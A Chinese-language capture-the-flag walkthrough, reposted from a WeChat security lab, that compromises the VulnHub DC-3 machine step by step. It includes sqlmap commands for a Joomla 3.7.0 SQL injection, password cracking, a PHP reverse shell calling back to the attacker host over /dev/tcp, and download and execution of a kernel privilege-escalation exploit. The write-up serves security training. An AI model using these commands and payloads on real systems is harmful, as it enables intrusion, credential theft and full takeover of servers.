DC靶机实战记录03

admin 2022年3月29日23:13:38评论65 views字数 2471阅读8分14秒阅读模式

1. 靶机下载地址

https://www.vulnhub.comentry/dc-32,312/

2. 环境说明

使用VMware Workstation 打开虚拟机,设置网络为NET模式

靶机ip:192.168.10.132

攻击ip:192.168.10.129

3. 信息收集

使用命令:arp-scan -l 发现内网中的主机

DC靶机实战记录03

使用命令:nmap -A -p- 192.168.10.132,扫描端口和对应的详细服务信息

DC靶机实战记录03

发现开放80端口,则可以进行网页访问。

DC靶机实战记录03

根据nmap扫描到的信息,知道网站后台为joomla的cms系统,所以使用joomscan扫描工具进行扫描,得到joomla版本为3.7

joomscan -u http://192.168.10.132

DC靶机实战记录03

使用searchsploit查找Joomla 3.7.0 版本存在的漏洞,发现存在一个sql注入漏洞

searchsploit Joomla 3.7.0

DC靶机实战记录03

查看42033.txt文档,得到具体利用方法

cat /usr/share/exploitdb/exploits/php/webapps/42033

DC靶机实战记录03

4. 漏洞利用

根据看到的注入漏洞说明,使用命令

sqlmap -u "http://192.168.10.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

注入查询数据库有哪些,查出5个数据库信息

DC靶机实战记录03

查询当前使用的数据库:Joomladb

sqlmap -u "http://192.168.10.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db -p list[fullordering]

DC靶机实战记录03

查询当前使用数据库的表:筛选出用户表:#__users

sqlmap -u "http://192.168.10.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables  -p list[fullordering]

DC靶机实战记录03

对#_users 表进行爆破

获取列名

sqlmap -u "http://192.168.10.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns  -p list[fullordering]

DC靶机实战记录03

获取字段

sqlmap  -u "http://192.168.10.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password" --dump  -p list[fullordering]

DC靶机实战记录03

将得到的密钥,通过vim命令建立一个文件名为hash的文件,之后使用john破解,

vim hash

John hash

得到用户名和密码:admin/snoopy

DC靶机实战记录03

通过dirb扫描到后台目录为:http://192.168.10.132/administrator/index.php

DC靶机实战记录03

使用注入得到的账号密码,登录成功

DC靶机实战记录03

在Templates模版设置中,找到可编辑的php模版,在模版中添加反弹php的shell的语句,使用nc监听反弹的端口

DC靶机实战记录03

新建1.php文件,写入

<?php system("bash -c 'bash -i >& /dev/tcp/192.168.10.129/1234 0>&1'"); ?>

DC靶机实战记录03

设置好监听之后,浏览器访问:192.168.10.132/templates/beez3/1.php,顺利反弹shell

DC靶机实战记录03

内核提权漏洞

查看kernel版本:uname -a
查看linux版本:/etc/*-release

DC靶机实战记录03

使用searchsploit搜索可利用的exp脚本

searchsploit ubuntu 16.04

DC靶机实战记录03

靶机获取exp脚本文件

先将exp下载到kali镜像(攻击机)中

wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

将下载的压缩包放到/var/www/html/文件夹下并开启http服务

python -m SimpleHTTPServer 8000

在反弹shell的情况下(攻击者连接上了靶机)输入命令将exp下载到靶机环境中

wget http://192.168.10.129:8000/39772.zip

DC靶机实战记录03

exp利用

解压该文件

unzip 39772.zip

DC靶机实战记录03

再解压刚刚解压出来的文件exploit.tar

tar –xvf exploit.tar

DC靶机实战记录03

进入39772/ebpf_mapfd_doubleput_exploit 目录,运行编译文件 compile.sh

cd ebpf_mapfd_doubleput_exploit

./compile.sh

DC靶机实战记录03

获得最终提权脚本文件doubleput

执行doubleput 文件提权成功

./doubleput

DC靶机实战记录03



原文始发于微信公众号(CTS纵横安全实验室):DC靶机实战记录03

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月29日23:13:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DC靶机实战记录03http://cn-sec.com/archives/852204.html

发表评论

匿名网友 填写信息